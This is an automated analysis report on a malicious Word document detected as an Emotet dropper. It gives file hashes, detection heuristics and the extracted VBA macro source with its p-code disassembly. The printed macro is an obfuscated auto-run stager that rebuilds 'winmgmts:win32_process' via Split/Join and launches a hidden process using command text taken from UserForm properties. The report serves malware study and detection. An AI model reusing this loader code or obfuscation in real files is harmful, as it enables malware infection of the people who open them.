Office (OLE) malware analysis — malicious · e9008d26de955251

MALICIOUS

Office (OLE)

267.3 KB Created: 2020-02-06 15:22:00 Authoring application: Microsoft Office Word First seen: 2020-05-14

MD5: 4c8bd5d6dd21eb4155beaa6175fcf80c SHA-1: ae6db1caff6d116dc35e58b1309365e1759b90ce SHA-256: e9008d26de95525189959cad635ed7df76be6a95f42a829a5f4950125d9af7c2

230 Risk Score

Heuristics 7

ClamAV: Doc.Dropper.Emotet-7580044-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Emotet-7580044-0
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER

VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
Matched line in script
```
Odmwtqiiko = Split(Uufjbwnemm, "}{")
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set Xzwqewfzknvbh = CreateObject(Hqdpbduzkdp)
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Private Sub Document_open()
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 37720 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	37720 bytes
SHA-256: `5b954e8cc87fc8b132821baee8a2c4572a1db0d7dcc3c22960f5b63c0f9fd1c2`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Aussyxwatwle" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_open() If 121121 <> 715924 Then mnYaLPCBoJ = 121121 + 1989 mmUPSPeNPb = 715924 - 2013 Else MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb)) End If For aDQW = 9 To 59 DoEvents Next aDQW eGOgHeluFI = "omJDjGORbm" bmxvRTTBmQ = 749513 eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ) BAOtZRDjDs = eGOgHeluFI Ocedyxvfo.Gfpkasimu End Sub Attribute VB_Name = "Vkeqjgee" Attribute VB_Base = "0{7C45481B-C975-4AAD-9D11-DC4DCA4F69B0}{83F958E4-58DE-4994-9310-B5D3C48913CF}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "Obkpqwvbw" Attribute VB_Base = "0{8EB58A6A-C2F2-46E7-B686-1445154D825D}{CFD07113-5CF8-436C-852E-B510537BB803}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Sub Asfvxuyhyeaju() Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow" End Sub Attribute VB_Name = "Fhpnjbkx" Attribute VB_Base = "0{1F41FD1E-EEA6-407A-9DB0-7FA865B7FBB4}{83A291E8-2A77-4148-8B52-25948605F285}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Sub Olxpaskdcv() Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow" End Sub Attribute VB_Name = "Amafucaorp" Attribute VB_Base = "0{64AA340E-FA92-4366-B90B-B17998BFEDE7}{6F84A24E-D6EF-4EE4-BE9A-C6A1B00B9C25}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Sub Rnljsxquajj() Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow" End Sub Attribute VB_Name = "Sympfrzt" Attribute VB_Base = "0{0D0FD726-DC6E-4F08-BC91-5B3E99B69ACE}{D62E4CCC-9155-435E-8E24-8F0D45A572C2}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Sub Dmehhwqty() Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow" End Sub Attribute VB_Name = "Ymhalefnj" Attribute VB_Base = "0{75C2BCCC-6822-425C-90E9-C4C4A08BD13F}{B71ADEC0-DB47-4DB8-9198-87275003C1C7}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Sub Rdbeoymy() Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow" End Sub Attribute VB_Name = "Vghwoqixkqlr" Attribute VB_Base = "0{A026D65B-38E3-4942-BA19-98C36DA2C748}{244AC807-B650-4171-BAAA-1220A8D9CEE2}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Sub Lfoumuflqbva() Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow" End Sub Attribute VB_Name = "Irhzxncf" Attribute VB_Base = "0{6171B213-3CF2-4906-AE8C-04D2AE3F5977}{ED203B95-5C53-4167-AB93-41AC084F0B23}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Sub Xowpyarz() Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow" End Sub Attribute VB_Name = "Sjjrlzqjq" Attribute VB_Base = "0{A81A4365-1ADA-4BB1-8C8C-1441BE777678}{55F159C2-F504-4882-A3A8-7E9003E91520}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Sub Nleptilt() Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow" End Sub Attribute VB_Name = "Gfkxyxpnpkvq" Attribute VB_Base = "0{7304D337-187B-4021-8091-421FB24E2EC2}{7AA2D314-F38B-430E-9530-EA9AFEA044BB}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Sub Zhqoyxsotd() Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow" End Sub Attribute VB_Name = "Safsfgeo" Attribute VB_Base = "0{40AE7B17-81B9-440A-8179-F8DEA5F5891C}{FBEEC655-0F16-4E37-BBC8-E8D82749B340}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Sub Ytnbawbw() Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow" End Sub Attribute VB_Name = "Mtqlswuizrmhn" Attribute VB_Base = "0{E089F6F0-2404-4382-B4B3-20AC9B013E30}{E68D2E05-ED1C-4EC8-BE83-0C4B8F7F6E50}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Sub Ohwepljzv() Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow" End Sub Attribute VB_Name = "Ocedyxvfo" Function Gfpkasimu() If 121121 <> 715924 Then mnYaLPCBoJ = 121121 + 1989 mmUPSPeNPb = 715924 - 2013 Else MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb)) End If For aDQW = 9 To 59 DoEvents Next aDQW eGOgHeluFI = "omJDjGORbm" bmxvRTTBmQ = 749513 eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ) BAOtZRDjDs = eGOgHeluFI Rxzvessfdhwmi = "}{}{w}{i}{}{n}{m}{g}{}{mt}{}{" + ChrW(Vkeqjgee.Zoom + 9 + 6) + ":}{wi}{}{n3}{}{}{2}{}{_}{}{" + Vkeqjgee.Upnvngcgfd + "r}{}{o}{ce}{s}{}{s}{" If 121121 <> 715924 Then mnYaLPCBoJ = 121121 + 1989 mmUPSPeNPb = 715924 - 2013 Else MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb)) End If For aDQW = 9 To 59 DoEvents Next aDQW eGOgHeluFI = "omJDjGORbm" bmxvRTTBmQ = 749513 eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ) BAOtZRDjDs = eGOgHeluFI Hqdpbduzkdp = Vgaagjfhhhgyc(Rxzvessfdhwmi) If 121121 <> 715924 Then mnYaLPCBoJ = 121121 + 1989 mmUPSPeNPb = 715924 - 2013 Else MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb)) End If For aDQW = 9 To 59 DoEvents Next aDQW eGOgHeluFI = "omJDjGORbm" bmxvRTTBmQ = 749513 eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ) BAOtZRDjDs = eGOgHeluFI Set Xzwqewfzknvbh = CreateObject(Hqdpbduzkdp) If 121121 <> 715924 Then mnYaLPCBoJ = 121121 + 1989 mmUPSPeNPb = 715924 - 2013 Else MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb)) End If For aDQW = 9 To 59 DoEvents Next aDQW eGOgHeluFI = "omJDjGORbm" bmxvRTTBmQ = 749513 eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ) BAOtZRDjDs = eGOgHeluFI Wzgyidge = Vkeqjgee.Nciuysltzicpv.Tag If 121121 <> 715924 Then mnYaLPCBoJ = 121121 + 1989 mmUPSPeNPb = 715924 - 2013 Else MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb)) End If For aDQW = 9 To 59 DoEvents Next aDQW eGOgHeluFI = "omJDjGORbm" bmxvRTTBmQ = 749513 eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ) BAOtZRDjDs = eGOgHeluFI Euaflrqjz = Hqdpbduzkdp + ChrW(Vkeqjgee.Zoom + 9 + 6) + Vkeqjgee.Tzmdhzvysf.Tag + Wzgyidge If 121121 <> 715924 Then mnYaLPCBoJ = 121121 + 1989 mmUPSPeNPb = 715924 - 2013 Else MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb)) End If For aDQW = 9 To 59 DoEvents Next aDQW eGOgHeluFI = "omJDjGORbm" bmxvRTTBmQ = 749513 eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ) BAOtZRDjDs = eGOgHeluFI Jusafzigy = Euaflrqjz + Vkeqjgee.Upnvngcgfd If 121121 <> 715924 Then mnYaLPCBoJ = 121121 + 1989 mmUPSPeNPb = 715924 - 2013 Else MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb)) End If For aDQW = 9 To 59 DoEvents Next aDQW eGOgHeluFI = "omJDjGORbm" bmxvRTTBmQ = 749513 eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ) BAOtZRDjDs = eGOgHeluFI Set Vtadfoduavrd = Dlxgouwnxcho(Jusafzigy) If 121121 <> 715924 Then mnYaLPCBoJ = 121121 + 1989 mmUPSPeNPb = 715924 - 2013 Else MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb)) End If For aDQW = 9 To 59 DoEvents Next aDQW eGOgHeluFI = "omJDjGORbm" bmxvRTTBmQ = 749513 eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ) BAOtZRDjDs = eGOgHeluFI Call Xzwqewfzknvbh. _ Create(Aussyxwatwle.NoLineBreakAfter + Devfaksngi + qw2, Tysppstqnhw, Vtadfoduavrd) If 121121 <> 715924 Then mnYaLPCBoJ = 121121 + 1989 mmUPSPeNPb = 715924 - 2013 Else MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb)) End If For aDQW = 9 To 59 DoEvents Next aDQW eGOgHeluFI = "omJDjGORbm" bmxvRTTBmQ = 749513 eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ) BAOtZRDjDs = eGOgHeluFI End Function Function Dlxgouwnxcho(Ywcumaqudcoz) If 121121 <> 715924 Then mnYaLPCBoJ = 121121 + 1989 mmUPSPeNPb = 715924 - 2013 Else MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb)) End If For aDQW = 9 To 59 DoEvents Next aDQW eGOgHeluFI = "omJDjGORbm" bmxvRTTBmQ = 749513 eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ) BAOtZRDjDs = eGOgHeluFI Set Dlxgouwnxcho = CreateObject(Ywcumaqudcoz) If 121121 <> 715924 Then mnYaLPCBoJ = 121121 + 1989 mmUPSPeNPb = 715924 - 2013 Else MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb)) End If For aDQW = 9 To 59 DoEvents Next aDQW eGOgHeluFI = "omJDjGORbm" bmxvRTTBmQ = 749513 eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ) BAOtZRDjDs = eGOgHeluFI Dlxgouwnxcho. _ showwindow = Ubbwgqcciyo + Cyntuwyou If 121121 <> 715924 Then mnYaLPCBoJ = 121121 + 1989 mmUPSPeNPb = 715924 - 2013 Else MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb)) End If For aDQW = 9 To 59 DoEvents Next aDQW eGOgHeluFI = "omJDjGORbm" bmxvRTTBmQ = 749513 eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ) BAOtZRDjDs = eGOgHeluFI End Function Function Vgaagjfhhhgyc(Sxmfukvlgfmib) If 121121 <> 715924 Then mnYaLPCBoJ = 121121 + 1989 mmUPSPeNPb = 715924 - 2013 Else MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb)) End If For aDQW = 9 To 59 DoEvents Next aDQW eGOgHeluFI = "omJDjGORbm" bmxvRTTBmQ = 749513 eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ) BAOtZRDjDs = eGOgHeluFI Uufjbwnemm = Sxmfukvlgfmib If 121121 <> 715924 Then mnYaLPCBoJ = 121121 + 1989 mmUPSPeNPb = 715924 - 2013 Else MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb)) End If For aDQW = 9 To 59 DoEvents Next aDQW eGOgHeluFI = "omJDjGORbm" bmxvRTTBmQ = 749513 eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ) BAOtZRDjDs = eGOgHeluFI Odmwtqiiko = Split(Uufjbwnemm, "}{") If 121121 <> 715924 Then mnYaLPCBoJ = 121121 + 1989 mmUPSPeNPb = 715924 - 2013 Else MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb)) End If For aDQW = 9 To 59 DoEvents Next aDQW eGOgHeluFI = "omJDjGORbm" bmxvRTTBmQ = 749513 eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ) BAOtZRDjDs = eGOgHeluFI Cjivsozd = Join(Odmwtqiiko, NoLineBreakAfter) If 121121 <> 715924 Then mnYaLPCBoJ = 121121 + 1989 mmUPSPeNPb = 715924 - 2013 Else MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb)) End If For aDQW = 9 To 59 DoEvents Next aDQW eGOgHeluFI = "omJDjGORbm" bmxvRTTBmQ = 749513 eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ) BAOtZRDjDs = eGOgHeluFI Vgaagjfhhhgyc = Cjivsozd End Function Function Devfaksngi() If 121121 <> 715924 Then mnYaLPCBoJ = 121121 + 1989 mmUPSPeNPb = 715924 - 2013 Else MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb)) End If For aDQW = 9 To 59 DoEvents Next aDQW eGOgHeluFI = "omJDjGORbm" bmxvRTTBmQ = 749513 eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ) BAOtZRDjDs = eGOgHeluFI If 121121 <> 715924 Then mnYaLPCBoJ = 121121 + 1989 mmUPSPeNPb = 715924 - 2013 Else MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb)) End If For aDQW = 9 To 59 DoEvents Next aDQW eGOgHeluFI = "omJDjGORbm" bmxvRTTBmQ = 749513 eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ) BAOtZRDjDs = eGOgHeluFI wq1 = Vkeqjgee.Rqmguvwizbko.Pages(0).Caption If 121121 <> 715924 Then mnYaLPCBoJ = 121121 + 1989 mmUPSPeNPb = 715924 - 2013 Else MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb)) End If For aDQW = 9 To 59 DoEvents Next aDQW eGOgHeluFI = "omJDjGORbm" bmxvRTTBmQ = 749513 eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ) BAOtZRDjDs = eGOgHeluFI Devfaksngi = Vgaagjfhhhgyc(wq1) If 121121 <> 715924 Then mnYaLPCBoJ = 121121 + 1989 mmUPSPeNPb = 715924 - 2013 Else MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb)) End If For aDQW = 9 To 59 DoEvents Next aDQW eGOgHeluFI = "omJDjGORbm" bmxvRTTBmQ = 749513 eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ) BAOtZRDjDs = eGOgHeluFI End Function ' Processing file: /opt/analyzer/scan_staging/94489fa31cca45028f39ae3bbd82156b.bin ' =============================================================================== ' Module streams: ' Macros/VBA/Aussyxwatwle - 1900 bytes ' Line #0: ' FuncDefn (Private Sub Aussyxwatwle()) ' Line #1: ' LitDI4 0xD921 0x0001 ' LitDI4 0xEC94 0x000A ' Ne ' IfBlock ' Line #2: ' LitDI4 0xD921 0x0001 ' LitDI2 0x07C5 ' Add ' St Document_open ' Line #3: ' LitDI4 0xEC94 0x000A ' LitDI2 0x07DD ' Sub ' St mnYaLPCBoJ ' Line #4: ' ElseBlock ' Line #5: ' Ld Document_open ' Coerce (Str) ' Ld mnYaLPCBoJ ' Coerce (Str) ' Concat ' Paren ' ArgsCall mmUPSPeNPb 0x0001 ' Line #6: ' EndIfBlock ' Line #7: ' StartForVariable ' Ld MsgBox ' EndForVariable ' LitDI2 0x0009 ' LitDI2 0x003B ' For ' Line #8: ' ArgsCall DoEvents 0x0000 ' Line #9: ' StartForVariable ' Ld MsgBox ' EndForVariable ' NextVar ' Line #10: ' LitStr 0x000A "omJDjGORbm" ' St aDQW ' Line #11: ' LitDI4 0x6FC9 0x000B ' St eGOgHeluFI ' Line #12: ' Ld aDQW ' Ld eGOgHeluFI ' Coerce (Str) ' Concat ' St aDQW ' Line #13: ' Ld aDQW ' St bmxvRTTBmQ ' Line #14: ' Line #15: ' Ld BAOtZRDjDs ' ArgsMemCall Ocedyxvfo 0x0000 ' Line #16: ' EndSub ' Macros/VBA/Vkeqjgee - 1167 bytes ' Macros/VBA/Obkpqwvbw - 1431 bytes ' Line #0: ' FuncDefn (Sub Asfvxuyhyeaju()) ' Line #1: ' Debug ' PrintObj ' LitStr 0x0010 "nsg jjw uujsn bw" ' Ld q ' Add ' LitStr 0x0012 "mnn iw dududud oow" ' Add ' PrintItemNL ' Line #2: ' EndSub ' Macros/VBA/Fhpnjbkx - 1429 bytes ' Line #0: ' FuncDefn (Sub Olxpaskdcv()) ' Line #1: ' Debug ' PrintObj ' LitStr 0x0010 "nsg jjw uujsn bw" ' Ld q ' Add ' LitStr 0x0012 "mnn iw dududud oow" ' Add ' PrintItemNL ' Line #2: ' EndSub ' Macros/VBA/Amafucaorp - 1432 bytes ' Line #0: ' FuncDefn (Sub Rnljsxquajj()) ' Line #1: ' Debug ' PrintObj ' LitStr 0x0010 "nsg jjw uujsn bw" ' Ld q ' Add ' LitStr 0x0012 "mnn iw dududud oow" ' Add ' PrintItemNL ' Line #2: ' EndSub ' Macros/VBA/Sympfrzt - 1428 bytes ' Line #0: ' FuncDefn (Sub Dmehhwqty()) ' Line #1: ' Debug ' PrintObj ' LitStr 0x0010 "nsg jjw uujsn bw" ' Ld q ' Add ' LitStr 0x0012 "mnn iw dududud oow" ' Add ' PrintItemNL ' Line #2: ' EndSub ' Macros/VBA/Ymhalefnj - 1428 bytes ' Line #0: ' FuncDefn (Sub Rdbeoymy()) ' Line #1: ' Debug ' PrintObj ' LitStr 0x0010 "nsg jjw uujsn bw" ' Ld q ' Add ' LitStr 0x0012 "mnn iw dududud oow" ' Add ' PrintItemNL ' Line #2: ' EndSub ' Macros/VBA/Vghwoqixkqlr - 1434 bytes ' Line #0: ' FuncDefn (Sub Lfoumuflqbva()) ' Line #1: ' Debug ' PrintObj ' LitStr 0x0010 "nsg jjw uujsn bw" ' Ld q ' Add ' LitStr 0x0012 "mnn iw dududud oow" ' Add ' PrintItemNL ' Line #2: ' EndSub ' Macros/VBA/Irhzxncf - 1424 bytes ' Line #0: ' FuncDefn (Sub Xowpyarz()) ' Line #1: ' Debug ' PrintObj ' LitStr 0x0010 "nsg jjw uujsn bw" ' Ld q ' Add ' LitStr 0x0012 "mnn iw dududud oow" ' Add ' PrintItemNL ' Line #2: ' EndSub ' Macros/VBA/Sjjrlzqjq - 1428 bytes ' Line #0: ' FuncDefn (Sub Nleptilt()) ' Line #1: ' Debug ' PrintObj ' LitStr 0x0010 "nsg jjw uujsn bw" ' Ld q ' Add ' LitStr 0x0012 "mnn iw dududud oow" ' Add ' PrintItemNL ' Line #2: ' EndSub ' Macros/VBA/Gfkxyxpnpkvq - 1432 bytes ' Line #0: ' FuncDefn (Sub Zhqoyxsotd()) ' Line #1: ' Debug ' PrintObj ' LitStr 0x0010 "nsg jjw uujsn bw" ' Ld q ' Add ' LitStr 0x0012 "mnn iw dududud oow" ' Add ' PrintItemNL ' Line #2: ' EndSub ' Macros/VBA/Safsfgeo - 1424 bytes ' Line #0: ' FuncDefn (Sub Ytnbawbw()) ' Line #1: ' Debug ' PrintObj ' LitStr 0x0010 "nsg jjw uujsn bw" ' Ld q ' Add ' LitStr 0x0012 "mnn iw dududud oow" ' Add ' PrintItemNL ' Line #2: ' EndSub ' Macros/VBA/Mtqlswuizrmhn - 1433 bytes ' Line #0: ' FuncDefn (Sub Ohwepljzv()) ' Line #1: ' Debug ' PrintObj ' LitStr 0x0010 "nsg jjw uujsn bw" ' Ld q ' Add ' LitStr 0x0012 "mnn iw dududud oow" ' Add ' PrintItemNL ' Line #2: ' EndSub ' Macros/VBA/Ocedyxvfo - 11008 bytes ' Line #0: ' FuncDefn (Function Ocedyxvfo()) ' Line #1: ' LitDI4 0xD921 0x0001 ' LitDI4 0xEC94 0x000A ' Ne ' IfBlock ' Line #2: ' LitDI4 0xD921 0x0001 ' LitDI2 0x07C5 ' Add ' St Document_open ' Line #3: ' LitDI4 0xEC94 0x000A ' LitDI2 0x07DD ' Sub ' St mnYaLPCBoJ ' Line #4: ' ElseBlock ' Line #5: ' Ld Document_open ' Coerce (Str) ' Ld mnYaLPCBoJ ' Coerce (Str) ' Concat ' Paren ' ArgsCall mmUPSPeNPb 0x0001 ' Line #6: ' EndIfBlock ' Line #7: ' StartForVariable ' Ld MsgBox ' EndForVariable ' LitDI2 0x0009 ' LitDI2 0x003B ' For ' Line #8: ' ArgsCall DoEvents 0x0000 ' Line #9: ' StartForVariable ' Ld MsgBox ' EndForVariable ' NextVar ' Line #10: ' LitStr 0x000A "omJDjGORbm" ' St aDQW ' Line #11: ' LitDI4 0x6FC9 0x000B ' St eGOgHeluFI ' Line #12: ' Ld aDQW ' Ld eGOgHeluFI ' Coerce (Str) ' Concat ' St aDQW ' Line #13: ' Ld aDQW ' St bmxvRTTBmQ ' Line #14: ' Line #15: ' LitStr 0x001D "}{}{w}{i}{}{n}{m}{g}{}{mt}{}{" ' Ld Vkeqjgee ' MemLd ChrW ' LitDI2 0x0009 ' Add ' LitDI2 0x0006 ' Add ' ArgsLd Rxzvessfdhwmi 0x0001 ' Add ' LitStr 0x001B ":}{wi}{}{n3}{}{}{2}{}{_}{}{" ' Add ' Ld Vkeqjgee ' MemLd Zoom ' Add ' LitStr 0x0014 "r}{}{o}{ce}{s}{}{s}{" ' Add ' St Gfpkasimu ' Line #16: ' LitDI4 0xD921 0x0001 ' LitDI4 0xEC94 0x000A ' Ne ' IfBlock ' Line #17: ' LitDI4 0xD921 0x0001 ' LitDI2 0x07C5 ' Add ' St Document_open ' Line #18: ' LitDI4 0xEC94 0x000A ' LitDI2 0x07DD ' Sub ' St mnYaLPCBoJ ' Line #19: ' ElseBlock ' Line #20: ' Ld Document_open ' Coerce (Str) ' Ld mnYaLPCBoJ ' Coerce (Str) ' Concat ' Paren ' ArgsCall mmUPSPeNPb 0x0001 ' Line #21: ' EndIfBlock ' Line #22: ' StartForVariable ' Ld MsgBox ' EndForVariable ' LitDI2 0x0009 ' LitDI2 0x003B ' For ' Line #23: ' ArgsCall DoEvents 0x0000 ' Line #24: ' StartForVariable ' Ld MsgBox ' EndForVariable ' NextVar ' Line #25: ' LitStr 0x000A "omJDjGORbm" ' St aDQW ' Line #26: ' LitDI4 0x6FC9 0x000B ' St eGOgHeluFI ' Line #27: ' Ld aDQW ' Ld eGOgHeluFI ' Coerce (Str) ' Concat ' St aDQW ' Line #28: ' Ld aDQW ' St bmxvRTTBmQ ' Line #29: ' Line #30: ' Ld Gfpkasimu ' ArgsLd Hqdpbduzkdp 0x0001 ' St Upnvngcgfd ' Line #31: ' LitDI4 0xD921 0x0001 ' LitDI4 0xEC94 0x000A ' Ne ' IfBlock ' Line #32: ' LitDI4 0xD921 0x0001 ' LitDI2 0x07C5 ' Add ' St Document_open ' Line #33: ' LitDI4 0xEC94 0x000A ' LitDI2 0x07DD ' Sub ' St mnYaLPCBoJ ' Line #34: ' ElseBlock ' Line #35: ' Ld Document_open ' Coerce (Str) ' Ld mnYaLPCBoJ ' Coerce (Str) ' Concat ' Paren ' ArgsCall mmUPSPeNPb 0x0001 ' Line #36: ' EndIfBlock ' Line #37: ' StartForVariable ' Ld MsgBox ' EndForVariable ' LitDI2 0x0009 ' LitDI2 0x003B ' For ' Line #38: ' ArgsCall DoEvents 0x0000 ' Line #39: ' StartForVariable ' Ld MsgBox ' EndForVariable ' NextVar ' Line #40: ' LitStr 0x000A "omJDjGORbm" ' St aDQW ' Line #41: ' LitDI4 0x6FC9 0x000B ' St eGOgHeluFI ' Line #42: ' Ld aDQW ' Ld eGOgHeluFI ' Coerce (Str) ' Concat ' St aDQW ' Line #43: ' Ld aDQW ' St bmxvRTTBmQ ' Line #44: ' Line #45: ' SetStmt ' Ld Upnvngcgfd ' ArgsLd Xzwqewfzknvbh 0x0001 ' Set Vgaagjfhhhgyc ' Line #46: ' LitDI4 0xD921 0x0001 ' LitDI4 0xEC94 0x000A ' Ne ' IfBlock ' Line #47: ' LitDI4 0xD921 0x0001 ' LitDI2 0x07C5 ' Add ' St Document_open ' Line #48: ' LitDI4 0xEC94 0x000A ' LitDI2 0x07DD ' Sub ' St mnYaLPCBoJ ' Line #49: ' ElseBlock ' Line #50: ' Ld Document_open ' Coerce (Str) ' Ld mnYaLPCBoJ ' Coerce (Str) ' Concat ' Paren ' ArgsCall mmUPSPeNPb 0x0001 ' Line #51: ' EndIfBlock ' Line #52: ' StartForVariable ' Ld MsgBox ' EndForVariable ' LitDI2 0x0009 ' LitDI2 0x003B ' For ' Line #53: ' ArgsCall DoEvents 0x0000 ' Line #54: ' StartForVariable ' Ld MsgBox ' EndForVariable ' NextVar ' Line #55: ' LitStr 0x000A "omJDjGORbm" ' St aDQW ' Line #56: ' LitDI4 0x6FC9 0x000B ' St eGOgHeluFI ' Line #57: ' Ld aDQW ' Ld eGOgHeluFI ' Coerce (Str) ' Concat ' St aDQW ' Line #58: ' Ld aDQW ' St bmxvRTTBmQ ' Line #59: ' Line #60: ' Ld Vkeqjgee ' MemLd Wzgyidge ' MemLd Tag ' St CreateObject ' Line #61: ' LitDI4 0xD921 0x0001 ' LitDI4 0xEC94 0x000A ' Ne ' IfBlock ' Line #62: ' LitDI4 0xD921 0x0001 ' LitDI2 0x07C5 ' Add ' St Document_open ' Line #63: ' LitDI4 0xEC94 0x000A ' LitDI2 0x07DD ' Sub ' St mnYaLPCBoJ ' Line #64: ' ElseBlock ' Line #65: ' Ld Document_open ' Coerce (Str) ' Ld mnYaLPCBoJ 